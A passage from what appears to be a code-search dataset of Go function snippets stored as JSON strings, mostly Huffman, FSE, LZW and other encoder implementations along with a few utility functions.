head.popFirst()\n\t\tr := head.popFirst()\n\n\t\tnode := join(l, r)\n\t\thead.insert(node)\n\t}\n\n\t// Fictitious head point to tree root\n\tif head.next != nil {\n\t\thead.next.prev = nil\n\t}\n\treturn head.next\n}", "func newCountHashWriter(w io.Writer) *countHashWriter {\n\treturn &countHashWriter{w: w}\n}", "func buildPrefixTree(byteFrequencies *dictionary.Dictionary) *huffmanTreeNode {\n\ttree := new(priorityqueue.PriorityQueue)\n\tkeys := byteFrequencies.Keys()\n\n\tfor i := 0; i < keys.Size(); i++ {\n\t\tbyt := keys.MustGet(i)\n\t\tfrequency, _ := byteFrequencies.Get(byt)\n\n\t\ttree.Enqueue(frequency.(int), &huffmanTreeNode{frequency: frequency.(int), value: byt.(byte)})\n\t}\n\n\tfor tree.Size() > 1 {\n\t\taPrio, a := tree.Dequeue()\n\t\tbPrio, b := tree.Dequeue()\n\n\t\tnewPrio := aPrio + bPrio\n\n\t\tnode := &huffmanTreeNode{frequency: newPrio, left: a.(*huffmanTreeNode), right: b.(*huffmanTreeNode)}\n\n\t\ttree.Enqueue(newPrio, node)\n\t}\n\n\t_, root := tree.Dequeue()\n\n\treturn root.(*huffmanTreeNode)\n}", "func main() {\r\n\ttest := \"abcdefghijklmnopqrstuvwxyz\"\r\n\r\n\tsymFreqs := make(map[rune]int)\r\n\t// read each symbol and record the frequencies\r\n\tfor _, c := range test {\r\n\t\tsymFreqs[c]++\r\n\t}\r\n\r\n\t// example tree\r\n\texampleTree := buildTree(symFreqs)\r\n\r\n\t// print out results\r\n\tfmt.Println(\"SYMBOL\\tWEIGHT\\tHUFFMAN CODE\")\r\n\tprintCodes(exampleTree, []byte{})\r\n}", "func NewEntropyEncoder(obs kanzi.OutputBitStream, ctx map[string]interface{},\n\tentropyType uint32) (kanzi.EntropyEncoder, error) {\n\tswitch entropyType {\n\n\tcase HUFFMAN_TYPE:\n\t\treturn NewHuffmanEncoder(obs)\n\n\tcase ANS0_TYPE:\n\t\treturn NewANSRangeEncoder(obs, 0)\n\n\tcase ANS1_TYPE:\n\t\treturn NewANSRangeEncoder(obs, 1)\n\n\tcase RANGE_TYPE:\n\t\treturn NewRangeEncoder(obs)\n\n\tcase FPAQ_TYPE:\n\t\treturn NewFPAQEncoder(obs)\n\n\tcase CM_TYPE:\n\t\tpredictor, _ := NewCMPredictor()\n\t\treturn NewBinaryEntropyEncoder(obs, predictor)\n\n\tcase TPAQ_TYPE:\n\t\tpredictor, _ := NewTPAQPredictor(&ctx)\n\t\treturn NewBinaryEntropyEncoder(obs, predictor)\n\n\tcase TPAQX_TYPE:\n\t\tpredictor, _ := NewTPAQPredictor(&ctx)\n\t\treturn NewBinaryEntropyEncoder(obs, predictor)\n\n\tcase NONE_TYPE:\n\t\treturn NewNullEntropyEncoder(obs)\n\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unsupported entropy codec type: '%c'\", entropyType)\n\t}\n}", "func BuildJpegHuffmanTable(count_in, symbols []int, lut []HuffmanTableEntry) int {\n\tvar (\n\t\tcode HuffmanTableEntry // current table entry\n\t\ttable []HuffmanTableEntry // next available space in table\n\t\tlength int // current code length\n\t\tidx int // symbol index\n\t\tkey int // prefix code\n\t\treps int // number of replicate key values in current table\n\t\tlow int // low bits for current root entry\n\t\ttable_bits int // key length of current table\n\t\ttable_size int // size of current table\n\t\ttotal_size int // sum of root table size and 2nd level table sizes\n\t)\n\n\t// Make a local copy of the input bit length histogram.\n\tvar count [kJpegHuffmanMaxBitLength + 1]int\n\ttotal_count := 0\n\tfor length = 1; length <= kJpegHuffmanMaxBitLength; length++ {\n\t\tcount[length] = count_in[length]\n\t\ttotal_count += count[length]\n\t}\n\n\ttable = lut\n\t// table_delta used in go version, to work around pointer arithmetic\n\ttable_delta := 0\n\ttable_bits = kJpegHuffmanRootTableBits\n\ttable_size = 1 << uint(table_bits)\n\ttotal_size = table_size\n\n\t// Special case code with only one value.\n\tif total_count == 1 {\n\t\tcode.bits = 0\n\t\tcode.value = uint16(symbols[0])\n\t\tfor key = 0; key < total_size; key++ {\n\t\t\ttable[key] = code\n\t\t}\n\t\treturn total_size\n\t}\n\n\t// Fill in root table.\n\tkey = 0\n\tidx = 0\n\tfor length = 1; length <= kJpegHuffmanRootTableBits; length++ {\n\t\tfor ; count[length] > 0; count[length]-- {\n\t\t\tcode.bits = uint8(length)\n\t\t\tcode.value = uint16(symbols[idx])\n\t\t\tidx++\n\t\t\treps = 1 << uint(kJpegHuffmanRootTableBits-length)\n\t\t\tfor ; reps > 0; reps-- {\n\t\t\t\ttable[key] = code\n\t\t\t\tkey++\n\t\t\t}\n\t\t}\n\t}\n\n\t// Fill in 2nd level tables and add pointers to root table.\n\ttable = table[table_size:]\n\ttable_delta += table_size\n\ttable_size = 0\n\tlow = 0\n\tfor length = kJpegHuffmanRootTableBits + 1; length <= kJpegHuffmanMaxBitLength; length++ {\n\t\tfor ; count[length] > 0; count[length]-- {\n\t\t\t// Start a new sub-table if the previous one is full.\n\t\t\tif low >= table_size {\n\t\t\t\ttable = table[table_size:]\n\t\t\t\ttable_delta += table_size\n\t\t\t\ttable_bits = NextTableBitSize(count[:], length)\n\t\t\t\ttable_size = 1 << uint(table_bits)\n\t\t\t\ttotal_size += table_size\n\t\t\t\tlow = 0\n\t\t\t\tlut[key].bits = uint8(table_bits + kJpegHuffmanRootTableBits)\n\t\t\t\tlut[key].value = uint16(table_delta - key)\n\t\t\t\tkey++\n\t\t\t}\n\t\t\tcode.bits = uint8(length - kJpegHuffmanRootTableBits)\n\t\t\tcode.value = uint16(symbols[idx])\n\t\t\tidx++\n\t\t\treps = 1 << uint(table_bits-int(code.bits))\n\t\t\tfor ; reps > 0; reps-- {\n\t\t\t\ttable[low] = code\n\t\t\t\tlow++\n\t\t\t}\n\t\t}\n\t}\n\n\treturn total_size\n}", "func NewEncoder(f *Format, w *os.File) (*Encoder, error) {\n\tenc := &Encoder{w: w, f: f}\n\th := &hdr{}\n\tenc.h = h\n\tif e := h.Write(w); e != nil {\n\t\treturn nil, e\n\t}\n\tif e := f.Write(w); e != nil {\n\t\treturn nil, e\n\t}\n\td := &chunk{fourCc: _dat4Cc}\n\tif e := d.writeHdr(w); e != nil {\n\t\treturn nil, e\n\t}\n\tenc.p = 0\n\tenc.buf = make([]byte, f.Bytes()*f.Channels()*1024)\n\t//ef := f.Encoder()\n\t//enc.eFunc = ef\n\tenc.w = w\n\treturn enc, nil\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t\tnames: make(map[string]struct{}),\n\t}\n}", "func NewEncoder() Encoder {\n return &encoder{}\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t\tbuf: make([]byte, 8),\n\t\tcrc: crc16.New(nil),\n\t}\n}", "func (e *encoder) writeDHT(nComponent int) {\n\tmarkerlen := 2\n\tspecs := theHuffmanSpec[:]\n\tif nComponent == 1 {\n\t\t// Drop the Chrominance tables.\n\t\tspecs = specs[:2]\n\t}\n\tfor _, s := range specs {\n\t\tmarkerlen += 1 + 16 + len(s.value)\n\t}\n\te.writeMarkerHeader(dhtMarker, markerlen)\n\tfor i, s := range specs {\n\t\te.writeByte(\"\\x00\\x10\\x01\\x11\"[i])\n\t\te.write(s.count[:])\n\t\te.write(s.value)\n\t}\n}", "func (enc *HuffmanEncoder) WriteHeader() error {\n\t// for iterative tree walking use savedict\n\t// for recursive, use rsavedict\n\n\t// if err := savedict(enc.bw, enc.root); err != nil {\n\tif err := rsavedict(enc.bw, enc.root); err != nil {\t\t// recursive version\n\t\treturn err\n\t}\n\treturn enc.bw.WriteBit(bs.Zero) // end of dictionary indicator\n}", "func NewEncoder(w io.Writer, chunkSize uint16) EncoderV2 {\n\treturn EncoderV2{\n\t\tw: w,\n\t\tbuf: &bytes.Buffer{},\n\t\tchunkSize: chunkSize,\n\t}\n}", "func (s *fseEncoder) writeCount(out []byte) ([]byte, error) {\n\tif s.useRLE {\n\t\treturn append(out, s.rleVal), nil\n\t}\n\tif s.preDefined || s.reUsed {\n\t\t// Never write predefined.\n\t\treturn out, nil\n\t}\n\n\tvar (\n\t\ttableLog = s.actualTableLog\n\t\ttableSize = 1 << tableLog\n\t\tprevious0 bool\n\t\tcharnum uint16\n\n\t\t// maximum header size plus 2 extra bytes for final output if bitCount == 0.\n\t\tmaxHeaderSize = ((int(s.symbolLen) * int(tableLog)) >> 3) + 3 + 2\n\n\t\t// Write Table Size\n\t\tbitStream = uint32(tableLog - minEncTablelog)\n\t\tbitCount = uint(4)\n\t\tremaining = int16(tableSize + 1) /* +1 for extra accuracy */\n\t\tthreshold = int16(tableSize)\n\t\tnbBits = uint(tableLog + 1)\n\t\toutP = len(out)\n\t)\n\tif cap(out) < outP+maxHeaderSize {\n\t\tout = append(out, make([]byte, maxHeaderSize*3)...)\n\t\tout = out[:len(out)-maxHeaderSize*3]\n\t}\n\tout = out[:outP+maxHeaderSize]\n\n\t// stops at 1\n\tfor remaining > 1 {\n\t\tif previous0 {\n\t\t\tstart := charnum\n\t\t\tfor s.norm[charnum] == 0 {\n\t\t\t\tcharnum++\n\t\t\t}\n\t\t\tfor charnum >= start+24 {\n\t\t\t\tstart += 24\n\t\t\t\tbitStream += uint32(0xFFFF) << bitCount\n\t\t\t\tout[outP] = byte(bitStream)\n\t\t\t\tout[outP+1] = byte(bitStream >> 8)\n\t\t\t\toutP += 2\n\t\t\t\tbitStream >>= 16\n\t\t\t}\n\t\t\tfor charnum >= start+3 {\n\t\t\t\tstart += 3\n\t\t\t\tbitStream += 3 << bitCount\n\t\t\t\tbitCount += 2\n\t\t\t}\n\t\t\tbitStream += uint32(charnum-start) << bitCount\n\t\t\tbitCount += 2\n\t\t\tif bitCount > 16 {\n\t\t\t\tout[outP] = byte(bitStream)\n\t\t\t\tout[outP+1] = byte(bitStream >> 8)\n\t\t\t\toutP += 2\n\t\t\t\tbitStream >>= 16\n\t\t\t\tbitCount -= 16\n\t\t\t}\n\t\t}\n\n\t\tcount := s.norm[charnum]\n\t\tcharnum++\n\t\tmax := (2*threshold - 1) - remaining\n\t\tif count < 0 {\n\t\t\tremaining += count\n\t\t} else {\n\t\t\tremaining -= count\n\t\t}\n\t\tcount++ // +1 for extra accuracy\n\t\tif count >= threshold {\n\t\t\tcount += max // [0..max[ [max..threshold[ (...) [threshold+max 2*threshold[\n\t\t}\n\t\tbitStream += uint32(count) << bitCount\n\t\tbitCount += nbBits\n\t\tif count < max {\n\t\t\tbitCount--\n\t\t}\n\n\t\tprevious0 = count == 1\n\t\tif remaining < 1 {\n\t\t\treturn nil, errors.New(\"internal error: remaining < 1\")\n\t\t}\n\t\tfor remaining < threshold {\n\t\t\tnbBits--\n\t\t\tthreshold >>= 1\n\t\t}\n\n\t\tif bitCount > 16 {\n\t\t\tout[outP] = byte(bitStream)\n\t\t\tout[outP+1] = byte(bitStream >> 8)\n\t\t\toutP += 2\n\t\t\tbitStream >>= 16\n\t\t\tbitCount -= 16\n\t\t}\n\t}\n\n\tif outP+2 > len(out) {\n\t\treturn nil, fmt.Errorf(\"internal error: %d > %d, maxheader: %d, sl: %d, tl: %d, normcount: %v\", outP+2, len(out), maxHeaderSize, s.symbolLen, int(tableLog), s.norm[:s.symbolLen])\n\t}\n\tout[outP] = byte(bitStream)\n\tout[outP+1] = byte(bitStream >> 8)\n\toutP += int((bitCount + 7) / 8)\n\n\tif charnum > s.symbolLen {\n\t\treturn nil, errors.New(\"internal error: charnum > s.symbolLen\")\n\t}\n\treturn out[:outP], nil\n}", "func NewOneHotEncoder() *OneHotEncoder {\n\treturn &OneHotEncoder{}\n}", "func newCountHashReader(r io.Reader) *countHashReader {\n\treturn &countHashReader{r: r}\n}", "func Encode(out *bytes.Buffer, byts []byte) (*EncodeInfo, error) {\n\tt := createTree(byts)\n\tconst codeSize = 32 // not optimize\n\tc := code{\n\t\tbits: make([]bool, 0, codeSize),\n\t}\n\te := newEncoder()\n\tif err := e.encode(t, c); err != nil {\n\t\treturn nil, err\n\t}\n\tsb, err := e.write(out, byts)\n\tei := &EncodeInfo{\n\t\tbytCodeMap: e.bytCodeMap,\n\t\tSize: sb,\n\t}\n\treturn ei, err\n}", "func NewEncoder(w io.Writer) goa.Encoder {\n\treturn codec.NewEncoder(w, &Handle)\n}", "func (r *Reader) readHuff(data block, off int, table []uint16) (tableBits, roff int, err error) {\n\tif off >= len(data) {\n\t\treturn 0, 0, r.makeEOFError(off)\n\t}\n\n\thdr := data[off]\n\toff++\n\n\tvar weights [256]uint8\n\tvar count int\n\tif hdr < 128 {\n\t\t// The table is compressed using an FSE. RFC 4.2.1.2.\n\t\tif len(r.fseScratch) < 1<<6 {\n\t\t\tr.fseScratch = make([]fseEntry, 1<<6)\n\t\t}\n\t\tfseBits, noff, err := r.readFSE(data, off, 255, 6, r.fseScratch)\n\t\tif err != nil {\n\t\t\treturn 0, 0, err\n\t\t}\n\t\tfseTable := r.fseScratch\n\n\t\tif off+int(hdr) > len(data) {\n\t\t\treturn 0, 0, r.makeEOFError(off)\n\t\t}\n\n\t\trbr, err := r.makeReverseBitReader(data, off+int(hdr)-1, noff)\n\t\tif err != nil {\n\t\t\treturn 0, 0, err\n\t\t}\n\n\t\tstate1, err := rbr.val(uint8(fseBits))\n\t\tif err != nil {\n\t\t\treturn 0, 0, err\n\t\t}\n\n\t\tstate2, err := rbr.val(uint8(fseBits))\n\t\tif err != nil {\n\t\t\treturn 0, 0, err\n\t\t}\n\n\t\t// There are two independent FSE streams, tracked by\n\t\t// state1 and state2. We decode them alternately.\n\n\t\tfor {\n\t\t\tpt := &fseTable[state1]\n\t\t\tif !rbr.fetch(pt.bits) {\n\t\t\t\tif count >= 254 {\n\t\t\t\t\treturn 0, 0, rbr.makeError(\"Huffman count overflow\")\n\t\t\t\t}\n\t\t\t\tweights[count] = pt.sym\n\t\t\t\tweights[count+1] = fseTable[state2].sym\n\t\t\t\tcount += 2\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tv, err := rbr.val(pt.bits)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, 0, err\n\t\t\t}\n\t\t\tstate1 = uint32(pt.base) + v\n\n\t\t\tif count >= 255 {\n\t\t\t\treturn 0, 0, rbr.makeError(\"Huffman count overflow\")\n\t\t\t}\n\n\t\t\tweights[count] = pt.sym\n\t\t\tcount++\n\n\t\t\tpt = &fseTable[state2]\n\n\t\t\tif !rbr.fetch(pt.bits) {\n\t\t\t\tif count >= 254 {\n\t\t\t\t\treturn 0, 0, rbr.makeError(\"Huffman count overflow\")\n\t\t\t\t}\n\t\t\t\tweights[count] = pt.sym\n\t\t\t\tweights[count+1] = fseTable[state1].sym\n\t\t\t\tcount += 2\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tv, err = rbr.val(pt.bits)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, 0, err\n\t\t\t}\n\t\t\tstate2 = uint32(pt.base) + v\n\n\t\t\tif count >= 255 {\n\t\t\t\treturn 0, 0, rbr.makeError(\"Huffman count overflow\")\n\t\t\t}\n\n\t\t\tweights[count] = pt.sym\n\t\t\tcount++\n\t\t}\n\n\t\toff += int(hdr)\n\t} else {\n\t\t// The table is not compressed. Each weight is 4 bits.\n\n\t\tcount = int(hdr) - 127\n\t\tif off+((count+1)/2) >= len(data) {\n\t\t\treturn 0, 0, io.ErrUnexpectedEOF\n\t\t}\n\t\tfor i := 0; i < count; i += 2 {\n\t\t\tb := data[off]\n\t\t\toff++\n\t\t\tweights[i] = b >> 4\n\t\t\tweights[i+1] = b & 0xf\n\t\t}\n\t}\n\n\t// RFC 4.2.1.3.\n\n\tvar weightMark [13]uint32\n\tweightMask := uint32(0)\n\tfor _, w := range weights[:count] {\n\t\tif w > 12 {\n\t\t\treturn 0, 0, r.makeError(off, \"Huffman weight overflow\")\n\t\t}\n\t\tweightMark[w]++\n\t\tif w > 0 {\n\t\t\tweightMask += 1 << (w - 1)\n\t\t}\n\t}\n\tif weightMask == 0 {\n\t\treturn 0, 0, r.makeError(off, \"bad Huffman weights\")\n\t}\n\n\ttableBits = 32 - bits.LeadingZeros32(weightMask)\n\tif tableBits > maxHuffmanBits {\n\t\treturn 0, 0, r.makeError(off, \"bad Huffman weights\")\n\t}\n\n\tif len(table) < 1<<tableBits {\n\t\treturn 0, 0, r.makeError(off, \"Huffman table too small\")\n\t}\n\n\t// Work out the last weight value, which is omitted because\n\t// the weights must sum to a power of two.\n\tleft := (uint32(1) << tableBits) - weightMask\n\tif left == 0 {\n\t\treturn 0, 0, r.makeError(off, \"bad Huffman weights\")\n\t}\n\thighBit := 31 - bits.LeadingZeros32(left)\n\tif uint32(1)<<highBit != left {\n\t\treturn 0, 0, r.makeError(off, \"bad Huffman weights\")\n\t}\n\tif count >= 256 {\n\t\treturn 0, 0, r.makeError(off, \"Huffman weight overflow\")\n\t}\n\tweights[count] = uint8(highBit + 1)\n\tcount++\n\tweightMark[highBit+1]++\n\n\tif weightMark[1] < 2 || weightMark[1]&1 != 0 {\n\t\treturn 0, 0, r.makeError(off, \"bad Huffman weights\")\n\t}\n\n\t// Change weightMark from a count of weights to the index of\n\t// the first symbol for that weight. We shift the indexes to\n\t// also store how many we have seen so far,\n\tnext := uint32(0)\n\tfor i := 0; i < tableBits; i++ {\n\t\tcur := next\n\t\tnext += weightMark[i+1] << i\n\t\tweightMark[i+1] = cur\n\t}\n\n\tfor i, w := range weights[:count] {\n\t\tif w == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tlength := uint32(1) << (w - 1)\n\t\ttval := uint16(i)<<8 | (uint16(tableBits) + 1 - uint16(w))\n\t\tstart := weightMark[w]\n\t\tfor j := uint32(0); j < length; j++ {\n\t\t\ttable[start+j] = tval\n\t\t}\n\t\tweightMark[w] += length\n\t}\n\n\treturn tableBits, off, nil\n}", "func (head *Node) WriteHeader(w *bitio.Writer, freq map[uint8]uint) (err error) {\n\tvar nEncoded uint32\n\tfor _, v := range freq {\n\t\tnEncoded += uint32(v)\n\t}\n\n\t// Write total number of encoded symbols\n\tw.TryWriteBitsUnsafe(uint64(nEncoded), 32)\n\n\t// Write total number of symbols in graph\n\tw.TryWriteBitsUnsafe(uint64(len(freq)), 8)\n\n\t// Write encoding tree information\n\tif err = head.writeHeader(w); err != nil {\n\t\treturn err\n\t}\n\tw.TryWriteBitsUnsafe(0, 1)\n\treturn w.TryError\n}", "func encodeToHuffmanCodes(uncompressed *vector.Vector, codes *dictionary.Dictionary) *vector.Vector {\n\tencodedHuffmanCodes := vector.New()\n\n\tfor i := 0; i < uncompressed.Size(); i++ {\n\t\tbyt := uncompressed.MustGet(i)\n\n\t\tiCode, _ := codes.Get(byt)\n\t\tcode := iCode.(*vector.Vector)\n\n\t\tfor j := 0; j < code.Size(); j++ {\n\t\t\tencodedHuffmanCodes.Append(code.MustGet(j))\n\t\t}\n\t}\n\n\treturn encodedHuffmanCodes\n}", "func NewEncoding(encoder []rune, trailing []rune) *Encoding {\n\tif len(encoder) != encoderSize {\n\t\tpanic(\"encoder is not 2048 characters\")\n\t}\n\n\tif len(trailing) != trailingSize {\n\t\tpanic(\"trailing is not 8 characters\")\n\t}\n\n\tfor i := 0; i < len(encoder); i++ {\n\t\tif encoder[i] == '\\n' || encoder[i] == '\\r' {\n\t\t\tpanic(\"encoder contains newline character\")\n\t\t}\n\t}\n\n\tfor i := 0; i < len(trailing); i++ {\n\t\tif trailing[i] == '\\n' || trailing[i] == '\\r' {\n\t\t\tpanic(\"trailing contains newline character\")\n\t\t}\n\t}\n\n\tenc := new(Encoding)\n\tcopy(enc.encode[:], encoder)\n\tcopy(enc.tail[:], trailing)\n\tenc.decodeMap = make(map[rune]uint16, len(encoder))\n\tenc.tailMap = make(map[rune]uint16, len(trailing))\n\n\tfor i := 0; i < len(encoder); i++ {\n\t\tenc.decodeMap[encoder[i]] = uint16(i)\n\t}\n\n\tfor i := 0; i < len(trailing); i++ {\n\t\tenc.tailMap[trailing[i]] = uint16(i)\n\t}\n\n\treturn enc\n}", "func countBytes(data []byte) map[byte]int {\n\tvar frequencies map[byte]int = make(map[byte]int)\n\tfor _, character := range data {\n\t\t//increase the count of this character\n\t\tfrequencies[character]++\n\t}\n\treturn frequencies\n}", "func NewEncoder(withOptions ...Option) (e *Encoder, err error) {\n\te = &Encoder{\n\t\terrc: make(chan (error)),\n\t}\n\n\twithOptions = append(withOptions, WithDefaultOptions())\n\tif err = WithOptions(withOptions...)(e); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif uint16(e.requiredShards+e.redundantShards) > 256 { // TODO: test for this\n\t\treturn nil, errors.New(\"sum of data and parity shards cannot exceed 256\")\n\t}\n\n\treturn nil, nil\n}", "func (enc *HuffmanEncoder) Flush() error {\n\treturn enc.bw.Flush(bs.Zero)\n}", "func (f lzwDecode) Encode(r io.Reader) (*bytes.Buffer, error) {\n\n\tlog.Debug.Println(\"EncodeLZW begin\")\n\n\tvar b bytes.Buffer\n\n\tec, ok := f.parms[\"EarlyChange\"]\n\tif !ok {\n\t\tec = 1\n\t}\n\n\twc := lzw.NewWriter(&b, ec == 1)\n\tdefer wc.Close()\n\n\twritten, err := io.Copy(wc, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Debug.Printf(\"EncodeLZW end: %d bytes written\\n\", written)\n\n\treturn &b, nil\n}", "func makeHuffman(p priq.PriQ) *node {\n\trr, ok := p.Remove()\n\tif !ok {\n\t\tpanic(\"not enough elements in the priority queue to make a huffman tree\")\n\t}\t\n\tr := rr.(*node)\n\tll, ok := p.Remove()\n\tif !ok {\n\t\tpanic(\"not enough elements in the priority queue to make a huffman tree\")\n\t}\n\tl := ll.(*node)\t\n\tfor !p.Empty() {\n\t\tparent := new(node)\n\t\tparent.count = l.count + r.count\n\t\tparent.left = l\n\t\tparent.right = r\n\t\tp.Add(parent)\n\n\t\trr, ok = p.Remove()\n\t\tr = rr.(*node)\n\t\tll, ok = p.Remove()\n\t\tl = ll.(*node)\n\t}\n\troot := new(node)\n\troot.count = l.count + r.count\n\troot.left = l\n\troot.right = r\n\treturn root\n}", "func NewEncoder(H *http.Header) *Encoder {\n\tif H == nil {\n\t\tH = &http.Header{}\n\t}\n\treturn &Encoder{h: *H}\n}", "func (f lzwDecode) Encode(r io.Reader) (io.Reader, error) {\n\n\tlog.Trace.Println(\"EncodeLZW begin\")\n\n\tvar b bytes.Buffer\n\n\tec, ok := f.parms[\"EarlyChange\"]\n\tif !ok {\n\t\tec = 1\n\t}\n\n\twc := lzw.NewWriter(&b, ec == 1)\n\tdefer wc.Close()\n\n\twritten, err := io.Copy(wc, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlog.Trace.Printf(\"EncodeLZW end: %d bytes written\\n\", written)\n\n\treturn &b, nil\n}", "func doit(prefix, filename string) {\n\tconst maxLines = 1 << 31\n\tconst suffix = \"-body.json.gz\"\n\t// generate outputfile name\n\t// blah/RC_2015-06-body.json.gz --> RC_2015-06-counts.csv.gz\n\tbase := filepath.Base(filename)\n\tbase = base[0:len(base)-len(suffix)] + \"-counts.csv.gz\"\n\n\tlog.Printf(\"[%s] starting. Output file %s\", prefix, base)\n\tcounts := newFreqCount()\n\tfi, err := os.Open(filename)\n\tif err != nil {\n\t\tlog.Fatalf(\"[%s]: %s\", prefix, err)\n\t}\n\n\tfizip, err := gzip.NewReader(fi)\n\tif err != nil {\n\t\tlog.Fatalf(\"[%s]: gzip error %s\", prefix, err)\n\t}\n\n\t// no need to buffer this since raw network and bzip2 will\n\t// naturally buffer the input\n\tjsonin := json.NewDecoder(fizip)\n\tobj := Reddit{}\n\tlines := 0\n\ttotal := 0\n\tfor jsonin.More() && lines < maxLines {\n\t\tlines++\n\t\t// decode an array value (Message)\n\t\terr := jsonin.Decode(&obj)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"[%s] unable to unmarshal object: %s\", prefix, err)\n\t\t}\n\n\t\t// turn into words\n\t\twords := text2words(obj.Body)\n\n\t\t// take only ones that are reasonable\n\t\t// and add to counts\n\t\tfor _, word := range words {\n\t\t\tif len(word) > 4 && len(word) < 21 {\n\t\t\t\tcounts[word]++\n\t\t\t\ttotal++\n\t\t\t}\n\t\t}\n\n\t}\n\tfizip.Close()\n\tfi.Close()\n\n\tfo, err := os.Create(base)\n\tif err != nil {\n\t\tlog.Fatalf(\"OH NO, unable to write: %s\", err)\n\t}\n\tfout := gzip.NewWriter(fo)\n\n\tkeys := make([]string, 0, len(counts))\n\tfor k := range counts {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\tfor _, k := range keys {\n\t\tfout.Write([]byte(fmt.Sprintf(\"%s,%d\\n\", k, counts[k])))\n\t}\n\tfout.Close()\n\tfo.Close()\n\tlog.Printf(\"[%s] DONE: wrote %s got %d unique words from %d\", prefix, base, len(counts), total)\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{\n\t\tw: bufferedWriter(w),\n\t\tmaxLength: defaultMaxLength,\n\t}\n}", "func NewEncoder(size int) *Encoder {\n\treturn &Encoder{\n\t\tbuf: make([]byte, 0, size),\n\t}\n}", "func NewEncoder(encType uint32, key []byte) (*Encoder, error) {\n\tEntry, ok := encoders[encType]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid encoding type %d\", encType)\n\t}\n\n\tenc, err := Entry.factory(key)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%s encoding error: %w\", enc, err)\n\t}\n\n\tkeysize := enc.KeySize()\n\tif len(key) < keysize+HMAC256KeySize {\n\t\treturn nil, ErrKeyTooSmall\n\t}\n\n\treturn &Encoder{\n\t\tenc: enc,\n\t\thmac: NewHMAC256(key[keysize : keysize+HMAC256KeySize]),\n\t\tname: Entry.name,\n\t}, nil\n}", "func (d *DiskSorter) NewWriter(_ context.Context) (Writer, error) {\n\tif d.state.Load() > diskSorterStateWriting {\n\t\treturn nil, errors.Errorf(\"diskSorter started sorting, cannot write more data\")\n\t}\n\treturn &diskSorterWriter{\n\t\tbuf: make([]byte, d.opts.WriterBufferSize),\n\t\tnewSSTWriter: func() (*sstWriter, error) {\n\t\t\tfileNum := int(d.idAlloc.Add(1))\n\t\t\treturn newSSTWriter(d.fs, d.dirname, fileNum, defaultKVStatsBucketSize,\n\t\t\t\tfunc(meta *fileMetadata) {\n\t\t\t\t\td.pendingFiles.Lock()\n\t\t\t\t\td.pendingFiles.files = append(d.pendingFiles.files, meta)\n\t\t\t\t\td.pendingFiles.Unlock()\n\t\t\t\t})\n\t\t},\n\t}, nil\n}", "func NewCompressor(\n\tuncompressed io.Reader, codec api.CompressionCodec, keys *enc.EEK, uncompressedBufferSize uint32,\n) (Compressor, error) {\n\tvar inner FlushCloseWriter\n\tbuf := new(bytes.Buffer)\n\n\tswitch codec {\n\tcase api.CompressionCodec_GZIP:\n\t\tinner = gzipWriters.Get().(*gzip.Writer)\n\t\tinner.(*gzip.Writer).Reset(buf)\n\tcase api.CompressionCodec_NONE:\n\t\tinner = &noOpFlushCloseWriter{buf}\n\tdefault:\n\t\tpanic(fmt.Errorf(\"unexpected codec: %s\", codec))\n\t}\n\tif uncompressedBufferSize < MinBufferSize {\n\t\treturn nil, ErrBufferSizeTooSmall\n\t}\n\treturn &compressor{\n\t\tuncompressed: uncompressed,\n\t\tinner: inner,\n\t\tbuf: buf,\n\t\tuncompressedMAC: enc.NewHMAC(keys.HMACKey),\n\t\tuncompressedBufferSize: uncompressedBufferSize,\n\t}, nil\n}", "func NewEncoder(w io.Writer) *Encoder {\n\treturn &Encoder{out: w}\n}", "func NewEncoder(params *Parameters) Encoder {\n\n\tvar ringQ, ringT *ring.Ring\n\tvar err error\n\n\tif ringQ, err = ring.NewRing(params.N(), params.qi); err != nil {\n\t\tpanic(err)\n\t}\n\n\tif ringT, err = ring.NewRing(params.N(), []uint64{params.t}); err != nil {\n\t\tpanic(err)\n\t}\n\n\tvar m, pos, index1, index2 int\n\n\tslots := params.N()\n\n\tindexMatrix := make([]uint64, slots)\n\n\tlogN := params.LogN()\n\n\trowSize := params.N() >> 1\n\tm = (params.N() << 1)\n\tpos = 1\n\n\tfor i := 0; i < rowSize; i++ {\n\n\t\tindex1 = (pos - 1) >> 1\n\t\tindex2 = (m - pos - 1) >> 1\n\n\t\tindexMatrix[i] = utils.BitReverse64(uint64(index1), uint64(logN))\n\t\tindexMatrix[i|rowSize] = utils.BitReverse64(uint64(index2), uint64(logN))\n\n\t\tpos *= GaloisGen\n\t\tpos &= (m - 1)\n\t}\n\n\treturn &encoder{\n\t\tparams: params.Copy(),\n\t\tringQ: ringQ,\n\t\tringT: ringT,\n\t\tindexMatrix: indexMatrix,\n\t\tdeltaMont: GenLiftParams(ringQ, params.t),\n\t\tscaler: ring.NewRNSScaler(params.t, ringQ),\n\t\ttmpPoly: ringT.NewPoly(),\n\t\ttmpPtRt: NewPlaintextRingT(params),\n\t}\n}", "func fuzzFseEncoder(data []byte) int {\n\tif len(data) > maxSequences || len(data) < 2 {\n\t\treturn 0\n\t}\n\tenc := fseEncoder{}\n\thist := enc.Histogram()\n\tmaxSym := uint8(0)\n\tfor i, v := range data {\n\t\tv = v & 63\n\t\tdata[i] = v\n\t\thist[v]++\n\t\tif v > maxSym {\n\t\t\tmaxSym = v\n\t\t}\n\t}\n\tif maxSym == 0 {\n\t\t// All 0\n\t\treturn 0\n\t}\n\tmaxCount := func(a []uint32) int {\n\t\tvar max uint32\n\t\tfor _, v := range a {\n\t\t\tif v > max {\n\t\t\t\tmax = v\n\t\t\t}\n\t\t}\n\t\treturn int(max)\n\t}\n\tcnt := 